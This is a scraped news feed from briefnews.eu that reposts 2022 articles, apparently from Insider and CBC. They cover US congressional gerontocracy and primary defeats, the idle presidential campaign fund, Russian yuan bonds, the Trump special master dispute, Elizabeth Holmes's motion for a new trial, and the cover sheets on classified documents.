And four out of six member-on-member contests that have taken place so far in 2022 saw the member who represented less of their new district winning their race, according to Daily Kos Elections. In Georgia, for example, McBath won despite representing just 12% of her new district, while her opponent represented over 57% of it.    

Partisanship and ideology are now playing a more prominent role than age and seniority in shaping House primaries, especially on the Republican side. 

The winners of the two 2022 primaries where Republican incumbents faced each other, Miller and Mooney had firmly aligned with Trump's wing of the Republican Party, earned Trump's endorsement, and also enjoyed outside spending on their behalf by groups like the Club for Growth and the political arm of the House Freedom Caucus. 

In Illinois, Miller defeated Davis by 14 points despite raising and spending less money than Davis, serving in Congress for less time, and only representing slightly more of the new district. Mooney, who also served less time and represented just a third of the redrawn district, defeated McKinley by an even wider margin of 18 points. 

Knocking out an incumbent with years of lawmaking experience is still difficult, and older candidates' structural advantages aren't disappearing. But the forces of partisanship are making it easier for challengers. 

House Republicans who fought the Trumpian takeover of the party, like Reps. Liz Cheney, Tom Rice, Peter Meijer, and Jaime Herrera Beutler, all lost to Trump-backed primary challengers. And others, like Kinzinger and Reps. Anthony Gonzalez, John Katko, and Fred Upton, chose to forgo running altogether. 

In all, 14 House incumbents lost renomination in 2022, the highest number in a single cycle since 1992. The forces of partisanship and polarization, Carson said, would have pushed that number even higher if not for dozens of members heading for the exits.

"For the longest time, it was hard to beat incumbents because people of the opposite party would be willing to cross party lines," Carson said. "That has changed. If you're a Democrat in a Republican district, your days are probably numbered."

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]]> https://briefnews.eu/fights-over-political-lines-have-fueled-the-aging-of-americas-government-but-that-may-be-changing/feed/ 0 Opponents of old people dominating the government have an unlikely ally: baby boomers https://briefnews.eu/opponents-of-old-people-dominating-the-government-have-an-unlikely-ally-baby-boomers/ https://briefnews.eu/opponents-of-old-people-dominating-the-government-have-an-unlikely-ally-baby-boomers/#respond Fri, 23 Sep 2022 18:41:22 +0000 https://briefnews.eu/opponents-of-old-people-dominating-the-government-have-an-unlikely-ally-baby-boomers/ Group of baby boomers laughing

kali9/Getty Images; Insider

  • Baby boomers are unlikely advocates for tearing down the country's gerontocracy, new polling indicates.
  • Baby boomers surveyed by Morning Consult/Insider were wildly in favor of instituting congressional term and age limits.
  • A hefty majority of baby boomers polled also said it would be good if more millenials and Gen Xers were in Congress.

One of the nation's oldest and most-storied generations — baby boomers — is a surprising proponent of tearing down the United States' gerontocracy, according to a new Morning Consult/Insider poll.

Survey results indicate that baby boomers — born between 1946 and 1964 — don't generally think Congress represents its best interests, and the group was quick to support ideas to limit how much influence elder members can have.

Baby boomers were enthusiastic about the idea of instituting an age limit for members of Congress, with nearly eight in 10 baby boomers saying they supported the idea.

 

 

Baby boomers were also wildly in support of adding term limits to members of Congress — nine in 10 respondents said they'd support term limits for members of the House and Senate.

 

 

And despite being on the older side themselves, more than eight in 10 baby boomers also said they think the current age of political leaders in the country was either a "major" or "minor" problem.

 

 

The survey is part of Insider's "Red, White, and Gray" project, which explores the ongoing gerontocracy in the US and its ramifications for a younger generation.

When asked what the generation's most important political issues were, baby boomers said the economy and inflation were the generation's clear top two. But when asked if they thought Congress was in touch with their needs on the two issues, baby boomers didn't hold back.

Seven in 10 baby boomers surveyed said they thought Congress was either "very" or "somewhat out of touch" with the needs of its generation regarding inflation. Nearly seven in 10 said the same about how the legislative body handles the economy. 

 

 

According to an Insider analysis, Congress is as old as it's ever been, with nearly one in four members aged 70 or older.

Additionally, two of Congress' leaders, Speaker of the House Nancy Pelosi and Senate Minority Leader Mitch McConnell, are 80 years old or older and members of the Silent Generation, a cohort whose members were born before the end of World War II.

Polling found that the generation was also in support of more representation of younger generations in Congress.

Three-fourths of baby boomers polled said it would be a "good thing for the country" if more Gen Xers — born between 1965 and 1981 — were represented in Congress.

Two-thirds said the same thing about millennials.

The Insider/Morning Consult survey was conducted from September 8 through September 10, and had 2,210 respondents and a margin of error of +/- 2 percentage points.

 

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]]> https://briefnews.eu/opponents-of-old-people-dominating-the-government-have-an-unlikely-ally-baby-boomers/feed/ 0 Liberal government launches review of Cannabis Act – a year late https://briefnews.eu/liberal-government-launches-review-of-cannabis-act-a-year-late/ https://briefnews.eu/liberal-government-launches-review-of-cannabis-act-a-year-late/#respond Thu, 22 Sep 2022 17:35:46 +0000 https://briefnews.eu/liberal-government-launches-review-of-cannabis-act-a-year-late/ COVID Cannabis 20200515

The federal government has launched a review of the Cannabis Act to determine whether the legislation governing the legalization of marijuana is meeting Canadians’ needs and expectations.

]]> https://briefnews.eu/liberal-government-launches-review-of-cannabis-act-a-year-late/feed/ 0 How more than $424 million in taxpayer money is locked away in a forgotten government fund — and lawmakers won’t spend it or return it https://briefnews.eu/how-more-than-424-million-in-taxpayer-money-is-locked-away-in-a-forgotten-government-fund-and-lawmakers-wont-spend-it-or-return-it/ https://briefnews.eu/how-more-than-424-million-in-taxpayer-money-is-locked-away-in-a-forgotten-government-fund-and-lawmakers-wont-spend-it-or-return-it/#respond Thu, 22 Sep 2022 11:55:13 +0000 https://briefnews.eu/how-more-than-424-million-in-taxpayer-money-is-locked-away-in-a-forgotten-government-fund-and-lawmakers-wont-spend-it-or-return-it/ An American flag over a $ 100 bill
A pool of more than $ 424.4 million contributed by taxpayers is waiting for Congress to decide how best to use it. In the meantime, no one is using it — and they haven't for years.

Bill Oxford/Getty Images

  • The money is supposed to publicly fund presidential campaigns. But it doesn't.
  • Republicans and Democrats in Congress can't agree on what to do with the ever-growing pot.
  • Charities told Insider the money could do great good for suffering Americans.
  • See more stories on Insider's business page.

Holed away in a government account is a massive cash stash most anyone — from depleted federal programs to American taxpayers — would love to tap.

But it sits idle and untouched.

The intended beneficiaries of the taxpayer-fueled Presidential Election Campaign Fund — presidential candidates — don't want it, as they're soured by its restrictions on their election fundraising and spending.

Other prospective recipients, meanwhile, can't have it.

Congress is what's preventing this. Conservatives would prefer to disband the fund and repurpose its money. Many Democrats want the money to seed a reimagined public campaign-finance program contained within a broader "democracy-reform" agenda that's hamstrung on Capitol Hill. Neither side will budge.

Meanwhile, the Presidential Election Campaign Fund's pot had topped more than $ 424.4 million, as of August 31 — a record amount during the fund's nearly 50-year history, according to US Treasury records reviewed by Insider. 

A US Treasury document detailing the finances of the Presidential Election Campaign Fund.
A US Treasury document detailing the finances of the Presidential Election Campaign Fund.

US Treasury

The fund grew by more than $ 600,000 from August 1 to August 31, according to US Treasury records.

If current trends continue, the fund will continue to grow each month by six- or seven-figures thanks to the financial heft generated by American taxpayers who check that little box on their annual tax return that directs $ 3 to the fund.

'Help people and communities recover'

In a congressional session when lawmakers are measuring economic relief, infrastructure, and "inflation reduction" bills in the billions or trillions of dollars, a few hundred million deserted federal greenbacks may seem comparatively paltry.

But some charitable organizations that serve people often possess next to nothing. Several nonprofit leaders told Insider that Congress could use the Presidential Election Campaign Fund money to immediately ease suffering, particularly in light of the COVID-19 pandemic.

"The best possible use of $ 400 million would be to provide funds for charities to help people and communities recover," Steve Taylor, United Way Worldwide's senior vice president and counsel for public policy, said, citing a looming eviction crisis, a burdened childcare system, education challenges, and mental-health needs among urgent pandemic-era problems. "Charities are leading the way in addressing these problems, and $ 400 million in new funding would be a game changer."

While the federal government has directed significant funding toward its COVID-19 response, the pandemic is far from over, and people around the world will endure its aftereffects for a long while, said Judy Monroe, the president and CEO of the CDC Foundation, an independent nonprofit that supports the Centers for Disease Control and Prevention's health-protection work.

"Additional federal funds that are not actively being utilized could, as deemed appropriate by Congress, be repurposed and brought to bear to address critical needs from COVID-19 to health inequities to strengthening the nation's public-health system to be prepared for the next, inevitable outbreak," Monroe told Insider.

Erika Cotton Boyce, a Habitat for Humanity spokesperson, declined to speak specifically about the Presidential Election Campaign Fund but broadly said Congress should "find resources to fund critical programs that will address housing supply and housing affordability, especially homeownership programs for low-income families."

Congress has various mechanisms for directing public funding to nonprofit entities. A bill introduced by Sen. Amy Klobuchar, a Minnesota Democrat, hopes to further help charitable nonprofits "provide services to meet the increasing demand in community needs caused by the coronavirus pandemic, preserve and create jobs in the nonprofit sector, reduce unemployment, and promote economic recovery."

Sen. Joni Ernst
Sen. Joni Ernst, a Republican of Iowa, wants the money sent to the US Treasury's general fund and used to help reduce the federal budget deficit.

Andrew Harnik-Pool/Getty Images

Debt reduction, pediatric care, Alzheimer's research

Some lawmakers and special-interest advocates have other designs on the more than $ 424 million.

During the 2019-20 congressional session, two Republican lawmakers sponsored similar bills that attempted to kill the Presidential Election Campaign Fund.

Rep. Tom Cole of Oklahoma sought to transfer the campaign fund's cash balance to a pediatric-research initiative administered by the National Institutes of Health.

Sen. Joni Ernst of Iowa, meanwhile, wanted the money sent to the US Treasury's general fund and used to help reduce the federal budget deficit.

Neither bill received a hearing, let alone a vote.

In September, Ernst tried again with a similar bill that so far has garnered little support.

That's a shame, said Joshua Sewell, a senior policy analyst at the nonpartisan Taxpayers for Common Sense who deemed the campaign fund "a vestige of a bygone era." He recommended its money be used to help pay down the country's national debt, which stood at more than $ 30.3 trillion as of April 30, according to the Treasury Department. 

Bradley Smith, a former Federal Election Commission chairman who now leads the nonprofit Institute for Free Speech, said Congress should repeal the law establishing the fund and direct its money to the Treasury's general fund. 

In April, the nonprofit Bipartisan Policy Center released a report that recommended reallocating the fund's money to election administration. Doing so, it said, would provide "consistent, additional federal resources to meet a clear and growing need … this incentivizes state and local governments to invest in their election infrastructure as well."  

Cole plans to reintroduce a new bill targeting the presidential fund, he told Insider. And he's open to broadening where the more than $ 424 million might go.

"If the money were to be redirected somewhere other than pediatric-disease research, Alzheimer's research would certainly be a worthy cause," Cole said.

Resist and reform

Congressional Democrats in 2021 made voting, ethics, and campaign-finance reform a chief priority, which is enshrined in bills known as HR 1 and S 1 — colloquially, the "For the People Act of 2021."

A historically robust public financing system for federal elections is part of the For the People Act.

But Senate Republicans filibustered the For the People Act, effectively killing it. Democrats then floated a similar, but slimmed-down bill called the "Freedom to Vote Act," which does not include strong public financing language.

Supporters of publicly funded campaigns say this is no time to give up — or to give away more than $ 424 million that's already earmarked and available for the public financing of elections.

The For the People Act "represents the boldest democracy reform since Watergate, and any funds currently available for the old system should be used for the new system of federal citizen-funded elections, which must pass so we can get big money out of politics," Beth Rotman, the director of money in politics and ethics for Common Cause, said prior to the bill's stall-out.

"Getting rid of the money at this point would send the wrong signal," said Meredith McGehee, the former executive director of the nonprofit group Issue One, a self-described "crosspartisan movement for political reform."

The pro-Democrat organization End Citizens United, which takes its name from the Supreme Court's 2010 decision that unleashed gushers of new political money into elections, also backed keeping the cash in place.

"The existing presidential system was designed following Watergate for anti-corruption purposes," the group's spokesperson Bawadden Sayed said, "and we would be supportive of potentially using it for future anti-corruption purposes."

Barack Obama
Former President Barack Obama campaigns for Joe Biden in Atlanta on November 2, 2020.

Elijah Nouvelage/AFP via Getty Images

Thanks, Obama?

Public presidential-campaign funding wasn't always so derelict.

From the late 1970s to the late 1990s, the Presidential Election Campaign Fund enjoyed a heyday, distributing eight or nine figures of public money to candidates each election cycle.

Supporters lauded the program as an elixir to big-money politics and a defense against corruption. Candidates from both parties routinely opted to use it. Doing so allowed them to spend less time fundraising and more time campaigning.

And since both sides participated, neither side engaged in the kind of political money arms races emblematic of contemporary presidential elections.

But the détente wouldn't last. 

Citing financial advantages, George W. Bush rejected public matching funds during the 2000 Republican presidential primary. Both Bush and eventual Democratic nominee John Kerry declined public funding in their 2004 presidential primaries. 

Come 2008, Democrat Barack Obama rendered the Presidential Election Campaign Fund functionally obsolete by becoming the first major-party presidential candidate in post-Watergate politics to reject public funding during a general presidential election. 

Obama even broke a campaign promise to do so — he previously said he'd use public funding. The future president knew he could privately raise and spend hundreds of millions of dollars more than the public program would afford him. Republican presidential nominee John McCain accepted public money — and lost.

No Democratic or Republican presidential nominee has since used public funding. Only a smattering of minor-party and longshot Democratic-primary candidates have patronized the Presidential Election Campaign Fund, who drew about $ 3 million combined since the 2012 race.

The fund didn't distribute a single dollar to any presidential candidate during the 2020 presidential election.

It last provided funding to presidential nominating conventions in 2012, as Congress two years later passed, and Obama signed, a law that axed public funding of conventions.

Congress siphoned tens of millions of dollars from the presidential fund that otherwise would have gone to party conventions to a pediatric-research fund — the same one that Cole, the Oklahoma congressman, wants to fill with the account's full balance.

Until that or any other repurposing decision comes down, the FEC continues to spend taxpayer resources keeping the Presidential Election Campaign Fund alive.

The agency's audit division has administrative, oversight, and enforcement responsibilities over the program, Judith Ingram, an FEC spokesperson, said. The independent, bipartisan FEC, which regulates and enforces the nation's campaign-finance laws, employs about 300 people. 

Its projected 2022 budget is about $ 76.5 million, meaning the balance of the Presidential Election Campaign Fund could theoretically fund the agency for a full five years.

This article was originally published on July 13, 2021, and has since been updated to include new financial data and legislative developments.

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]]> https://briefnews.eu/how-more-than-424-million-in-taxpayer-money-is-locked-away-in-a-forgotten-government-fund-and-lawmakers-wont-spend-it-or-return-it/feed/ 0 Our government has never been older than it is today. Here are the costs, benefits, and dangers of a US led by old people. https://briefnews.eu/our-government-has-never-been-older-than-it-is-today-here-are-the-costs-benefits-and-dangers-of-a-us-led-by-old-people/ https://briefnews.eu/our-government-has-never-been-older-than-it-is-today-here-are-the-costs-benefits-and-dangers-of-a-us-led-by-old-people/#respond Sun, 18 Sep 2022 12:29:33 +0000 https://briefnews.eu/our-government-has-never-been-older-than-it-is-today-here-are-the-costs-benefits-and-dangers-of-a-us-led-by-old-people/ Hi, I'm Matt Turner, the editor in chief of business at Insider. Welcome back to Insider Weekly, a roundup of some of our top stories. 

On the agenda today:

But first: The US is now a gerontocracy. (If that term is new to you, it's "a state, society, or group governed by old people.") A new four-month investigation from our politics team looks at the disastrous effect it's having on American democracy. Deputy editor Dave Levinthal explains below.

If this was forwarded to you, sign up here.  Download Insider's app here.

Inside the US gerontocracy

Mitch McConnell, Nancy Pelosi, Donald Trump, and Joe Biden

Getty; Rebecca Zisser/Insider

Our elected officials are pretty old. That's hardly news, deputy editor Dave Levinthal writes.

But our government has never been older than it is today. And the gap between US leaders and those being led is historically wide — at a time when voters will soon hit the polls for another election.

Insider's new "Red, White, and Gray" project explores the costs, benefits, and dangers of life in a democracy helmed by those of advanced age, where issues of profound importance to the nation's youth and future — technology, civil rights, energy, the environment — are largely in the hands of those whose primes have passed. Here's what we found:

  • Nearly one in four members of Congress are in their 70s or 80s, with key leaders born before or during World War II. 
  • Almost 50% of Americans are under the age of 40, but only about 5% of members of Congress are.
  • The brain of an 80-year-old is almost certainly different than that of a 45-year-old, neuroscience tells us.

Plus, federal lawmakers such as Alexandria Ocasio-Cortez, Lauren Boebert, and Jon Ossoff dished on why youth is an advantage in Washington, DC — and congressional staffers described the lengths to which they've gone to keep aged lawmakers focused, engaged, and sometimes upright. 

You can read more of our key findings here.

The rise of the 'bait-and-switch' job interview

A man with three different color masks floating in front of him with a primarily blue background

Tyler Le/Insider

Are you sure that new employee is the same person you interviewed? 

According to recruiters, employers, and job applicants interviewed by Insider, an increasing number of candidates are employing stand-ins to do their job interviews for them. Then, on the first day of work, the real candidate shows up in place of the stand-in — and may have no idea what they're doing.

How some applicants are cheating the system.

Also read:

Top VCs pick the most promising startups

Four VC's in the foreground with a blue and green background behind various sized dollar signs

Damir Becirovic/Index Ventures, Meera Clark/Redpoint Ventures, Morad Elhafed/Battery Venture, Amy Saper/ Accel, Tyler Le/Insiders

Want to know what VCs are keeping an eye on this year? Insider has you covered. Our tech team spoke with top venture capitalists to compile exhaustive lists of the most promising startups spanning education, retail, health, crypto, and more. Take a look:

Some wedding vendors are turning on The Knot

Crumbling wedding cake with bride and groom toppers falling on pink background 4x3

Shutterstock; Rachel Mendelson/Insider

The Knot promises to walk couples through "every part of planning," while getting businesses "in front of 13 million couples," its site says. But The Knot is in the business of selling ads, not producing results, and some companies are questioning the value of listing on the site.

Several business owners told Insider they weren't getting a return on their investments and were ready to take their ad dollars elsewhere — a shift that could dethrone a behemoth of the $ 3 billion nuptials industry.

Why The Knot is losing its dominance.

Remote work is killing Florida as a retirement paradise

Florida retirement

Rebecca Zisser/Insider

With warm temperatures and low living costs, Florida has been a haven for retirees for decades. But between April 2020 and April 2021, more than 300,000 people moved to the state, making it the top destination for people relocating states during the first year of the pandemic.

Now, rising home prices — driven in part by the influx of remote workers — are threatening America's retirement dream, and retirees are feeling the squeeze. 

What's happening in Florida.

This week's quote:

"After more than two months of browbeating, exhaustion, and a tireless sojourn to make my bosses happy while bingeing way too much caffeine, I was ready to walk away and give it all up."

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]]> https://briefnews.eu/our-government-has-never-been-older-than-it-is-today-here-are-the-costs-benefits-and-dangers-of-a-us-led-by-old-people/feed/ 0 Russian companies are issuing bonds in the Chinese yuan amid sanctions. Putin’s government may follow suit. https://briefnews.eu/russian-companies-are-issuing-bonds-in-the-chinese-yuan-amid-sanctions-putins-government-may-follow-suit/ https://briefnews.eu/russian-companies-are-issuing-bonds-in-the-chinese-yuan-amid-sanctions-putins-government-may-follow-suit/#respond Wed, 14 Sep 2022 08:17:57 +0000 https://briefnews.eu/russian-companies-are-issuing-bonds-in-the-chinese-yuan-amid-sanctions-putins-government-may-follow-suit/ Russian President Vladimir Putin meets Chinese President Xi Jinping at BRICS Summit in Brasilia
Russian President Vladimir Putin is expected to meet Chinese President Xi Jinping at a summit in Uzbekistan this week.

Mikhail Svetlov/Getty Images

  • Russian commodity giants Rosneft, Polyus, and Rusal have recently issued bonds in Chinese yuan.
  • Trade between the two countries has grown, with Russia imports to China up 59% on-year in August.
  • Russia's finance ministry is also considering issuing bonds in the Chinese yuan amid sanctions.

Some Russian companies are issuing bonds denominated in the Chinese yuan amid sanctions over the war in Ukraine.

State-owned oil giant Rosneft was the latest to offer 15 billion yuan, or $ 2.1 billion, in a bond offering, Interfax reported on Tuesday. This followed a 4.6 billion yuan issuance from Polyus, Russia's largest gold producer, in August.

Just weeks earlier in July, Russian aluminum giant Rusal issued 2 billion yuan of bonds. Demand for the bonds was more than double what was offered, the company said on July 29.

"It seems natural to us to choose yuan-denominated bond placement, given the current situation on the financial market," Alexei Grenkov, the head of Rusal's corporate finance, said at the time.

Russia's finance ministry is also considering issuing bonds in the Chinese yuan, Vedomosti business newspaper reported on August 23, citing a source close to the government. The process could take up to two years, the media outlet added.

Russia's interest in yuan-denominated settlements comes as some Russian banks have been banned from SWIFT, the Belgium-based messaging service that lets banks around the world communicate about cross-border transactions.

Since Russia and China have been trying to establish alternatives to the US dollar hegemony for years, they are also taking this opportunity to boost the use of alternative payments systems at a time when trade between the two is growing. Russian exports to China rose 60% in August from a year ago, while Chinese shipments to Russia grew 27% in the same period, according to Reuters' calculations based on Chinese customs data.

Earlier this month, Russian state-energy giant Gazprom said it will begin taking rubles and yuan payments, instead of euros, for natural-gas exports to China.

The ties between the two countries could deepen this week, as Russian President Vladimir Putin and Chinese President Xi Jinping are expected to meet at a regional summit in central Asia.

"Yuan instruments are a great alternative to the dollar. We have a positive outlook on the yuan — its liquidity is expected to increase, its international convertibility is expected to improve, and its risks from sanctions will remain limited," analysts at Russia's BCS Global Markets, a financial services firm, wrote in a note on August 18.

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]]> https://briefnews.eu/russian-companies-are-issuing-bonds-in-the-chinese-yuan-amid-sanctions-putins-government-may-follow-suit/feed/ 0 Alberta government will walk back legislation if doctors approve new contract, documents show https://briefnews.eu/alberta-government-will-walk-back-legislation-if-doctors-approve-new-contract-documents-show/ https://briefnews.eu/alberta-government-will-walk-back-legislation-if-doctors-approve-new-contract-documents-show/#respond Wed, 14 Sep 2022 01:44:09 +0000 https://briefnews.eu/alberta-government-will-walk-back-legislation-if-doctors-approve-new-contract-documents-show/ Alta Doctors Agreement 20200220

If Alberta doctors ratify a proposed new agreement with the provincial government, the government has pledged to reverse a controversial legislative change, say documents obtained by CBC News.

]]> https://briefnews.eu/alberta-government-will-walk-back-legislation-if-doctors-approve-new-contract-documents-show/feed/ 0 Trump wants to split the cost of the special master with the government but the DOJ wants him to pay for it https://briefnews.eu/trump-wants-to-split-the-cost-of-the-special-master-with-the-government-but-the-doj-wants-him-to-pay-for-it/ https://briefnews.eu/trump-wants-to-split-the-cost-of-the-special-master-with-the-government-but-the-doj-wants-him-to-pay-for-it/#respond Sat, 10 Sep 2022 06:29:32 +0000 https://briefnews.eu/trump-wants-to-split-the-cost-of-the-special-master-with-the-government-but-the-doj-wants-him-to-pay-for-it/ US President Donald Trump answers questions from reporters after making a video call to the troops stationed worldwide at the Mar-a-Lago estate in Palm Beach Florida, on December 24, 2019.
US President Donald Trump answers questions from reporters after making a video call to the troops stationed worldwide at the Mar-a-Lago estate in Palm Beach Florida, on December 24, 2019.

Photo by NICHOLAS KAMM/AFP via Getty Images

  • A judge granted Trump's request for a special master, but the DOJ has appealed the decision.
  • A new court filing showed the two sides disagree over who should pay for the special master.
  • The government said that Trump, "as the party requesting the special master," should bear the cost.

Former President Donald Trump wants the government to split the cost of a special master, but the Department of Justice thinks he should foot the bill.

US District Judge Aileen Cannon on Monday granted Trump's request to appoint a special master to review the records seized in the court-authorized search of Mar-a-Lago on August 8, but the Justice Department appealed the decision.

Both sides submitted their proposed candidates for a special master in a court filing on Friday evening, with each naming two potential picks.

The filing also outlined disagreements between the government and Trump's legal team regarding how the special master process would unfold.

Trump's team proposed "to split evenly the professional fees and expenses of the Special Master and any professionals, support staff, and expert consultants engaged at the Master's request."

But the Justice Department, which had already begun reviewing the seized materials and does not want a special master appointed, disagreed.

"The Government's position is that, as the party requesting the special master, Plaintiff should bear the additional expense of the Special Master's work," the filing said.

The parties also disagreed over the review process, including the duties and limitations of the special master. Trump's team wants the special master to be able to review all materials — including those with classification markings — and to evaluate if any documents fall under executive privilege claims. The Justice Department disagreed with both points.

Legal experts have previously questioned Trump's assertion that he may have executive privilege claims over some of the documents. Executive privilege is a legal concept that allows the president to withhold certain confidential communications within the executive branch.

It's also unclear if the Justice Department's appeal will be successful. Some legal experts have questioned the decision to grant Trump's request for a special master.

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]]> https://briefnews.eu/trump-wants-to-split-the-cost-of-the-special-master-with-the-government-but-the-doj-wants-him-to-pay-for-it/feed/ 0 Elizabeth Holmes is asking for a new trial after a star government witness allegedly went to her house last month and said he was losing sleep over his testimony that helped convict her https://briefnews.eu/elizabeth-holmes-is-asking-for-a-new-trial-after-a-star-government-witness-allegedly-went-to-her-house-last-month-and-said-he-was-losing-sleep-over-his-testimony-that-helped-convict-her/ https://briefnews.eu/elizabeth-holmes-is-asking-for-a-new-trial-after-a-star-government-witness-allegedly-went-to-her-house-last-month-and-said-he-was-losing-sleep-over-his-testimony-that-helped-convict-her/#respond Wed, 07 Sep 2022 18:51:13 +0000 https://briefnews.eu/elizabeth-holmes-is-asking-for-a-new-trial-after-a-star-government-witness-allegedly-went-to-her-house-last-month-and-said-he-was-losing-sleep-over-his-testimony-that-helped-convict-her/ Theranos Elizabeth Holmes court
Former Theranos CEO Elizabeth Holmes leaves after a hearing at a federal court in San Jose, California, U.S., July 17, 2019.

Reuters/Stephen Lam

  • Elizabeth Holmes has requested a new trial. She was convicted of fraud and conspiracy in a months-long trial that ended in January.
  • Her partner, Billy Evans, says one of the government's star witnesses showed up at their house last month, saying he was losing sleep over his testimony.
  • Last week, the judge in Holmes' case tentatively denied her prior request to toss her conviction.

Elizabeth Holmes is trying to ditch her guilty verdict, and a key witness in her trial may have just given her some ammo in that fight.

On Tuesday, the Theranos founder filed a motion requesting a new trial based on "newly discovered evidence." Holmes had been convicted on counts of fraud and conspiracy in January.

According to the motion, Adam Rosendorff, who was Theranos' lab director from April 2013 to November 2014 and a key witness for the prosecution in Holmes' trial, made attempts to contact her last month, expressing regret about his testimony against her.

On August 8, Rosendorff left a voicemail for Holmes' attorney, Lance Wade. In it, he asked to see Holmes, saying such a meeting would be "quite healing" for both of them. Later that day, Rosendorff showed up at Holmes' house, according to an account of the incident from Billy Evans, Holmes' partner.

"My first thought was he was lost, he looked disheveled," Evans recalled in an email to three of Holmes' attorneys, filed with the motion, that documents their interaction. "His hair was untucked, his hair was messy, his voice slightly trembled."

Evans said Rosendorff kept asking to speak with Holmes. 

Evans wrote of his encounter with Rosendorff: "He said he feels guilty, it seemed like he was hurting. He said when he was called as a witness he tried to answer the questions honestly but that the prosecutors tried to make everybody look bad (in the company). He said that the government made things sound worse than they were when he was up on the stand during his testimony. He said he felt like he had done something wrong. And that this was weighing on him, He said he was having trouble sleeping."

Rosendorff remarked that he and Holmes were friends, and he wanted to help her, according to Evans' email.

"He said Theranos was early in his and her career, that he had just finished residency, and that everyone was working so hard to do something good and meaningful," Evans recalled. "He said that everyone was just doing the best they could."

Based on the new development, Holmes' team wants a new trial or an evidentiary hearing where Rosendorff would be subpoenaed to "testify about his concerns."

The new motion comes just days after the judge in Holmes' case tentatively denied her request to throw out her conviction on the grounds of "insufficient evidence."

During Holmes' trial, Rosendorff had testified that he'd tried to delay the launch of Theranos' machines for patient use because they produced inaccurate results, but Holmes went ahead with it anyway.

He also said he was asked to come up with "reasons other than test performance" to explain unusual test results and that Theranos had no formal proficiency testing protocol.

During the trial, the court saw an email Rosendorff had sent Holmes in November 2014, in which he wrote, "I feel really uncomfortable with what is happening right now in this company. I am feeling pressured to vouch for results that I cannot be confident in."

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]]> https://briefnews.eu/elizabeth-holmes-is-asking-for-a-new-trial-after-a-star-government-witness-allegedly-went-to-her-house-last-month-and-said-he-was-losing-sleep-over-his-testimony-that-helped-convict-her/feed/ 0 Classified government documents like the ones the FBI took from Trump have distinctive covers that are tough to miss. Here’s what they look like. https://briefnews.eu/classified-government-documents-like-the-ones-the-fbi-took-from-trump-have-distinctive-covers-that-are-tough-to-miss-heres-what-they-look-like/ https://briefnews.eu/classified-government-documents-like-the-ones-the-fbi-took-from-trump-have-distinctive-covers-that-are-tough-to-miss-heres-what-they-look-like/#respond Fri, 02 Sep 2022 02:52:33 +0000 https://briefnews.eu/classified-government-documents-like-the-ones-the-fbi-took-from-trump-have-distinctive-covers-that-are-tough-to-miss-heres-what-they-look-like/ Photo scan of three documents
Documents considered classified by the government use covers such as these under a 1953 executive order for “protection in the interests of national defense” in Washington, June 23, 1971.

Anonymous/Associated Press

  • Cover labels for classified government documents are bright blue, red, and orange. 
  • Each cover instructs handlers to "protect it from unauthorized disclosure" for "national security." 
  • On August 8, FBI agents seized 11 sets of classified documents from former President Donald Trump.

Classified information concealed by the government comes with colorful cover sheets. At least that's according to documents unearthed by the Federation of American Scientists as a part of its Project on Government Secrecy. 

On August 8, FBI agents seized 11 sets of classified documents former President Donald Trump had stashed in his home office at Mar-a-Lago in Florida. 

Included in the documents was secret information that only those with government-issued security clearances had access to. Trump claimed the documents had been declassified as soon as he left office, but experts say there is no evidence he followed procedure to do so.

The Justice Department subsequently released a photo that depicted sensitive documents strewn across the floor of an unknown location. The photo showed at least five documents with yellow cover sheets that were labeled "TOP SECRET/SCI" and at least one that read "SECRET/SCI."

classified and top secret records recovered in FBI mar-a-lago raid
A photograph of some of the classified materials that were uncovered after the FBI executed a search warrant at Mar-a-Lago

Department of Justice

The sheets also read: "All individuals handling this information are required to protect it from unauthorized disclosure in the interest of the national security of the United States. Handling, storage, reproduction and disposition of the attached document will be in accordance with applicable executive order(s) statute(s) and agency implementing regulations."

In ascending order of importance to national security, the levels of classified documents are Confidential, Secret, and Top Secret.

A Confidential cover sheet is blue, Secret is red and Top Secret is orange. Unclassified information uses a green cover sheet.

Older versions of these cover sheets are shown in black and white.

Man putting secret documents in bag
A red Secret Cover sheet

US Department of Defense

The cover sheets are meant to protect classified information from "inadvertent disclosure," according to the National Archives Code of Federal Regulations.

The sheet is supposed to be attached to the document until it is reclassified or destroyed, and the sheets can be reused.

On the top half of the cover of each document, it warns that those "handling this information are required to protect it from unauthorized disclosure in the interest of the national security of the United States."

The cover forms are listed as Standard Forms 705, 704, and 703 by the US General Services Administration. According to the GSA site, the forms were last revised in August of 1985.

Government officials can order the cover sheets through the US GSA, according to their website.

The US GSA also provides labels for US property — like computer disks, computers, and CDS — that have classified government information on them, according to the National Archives.

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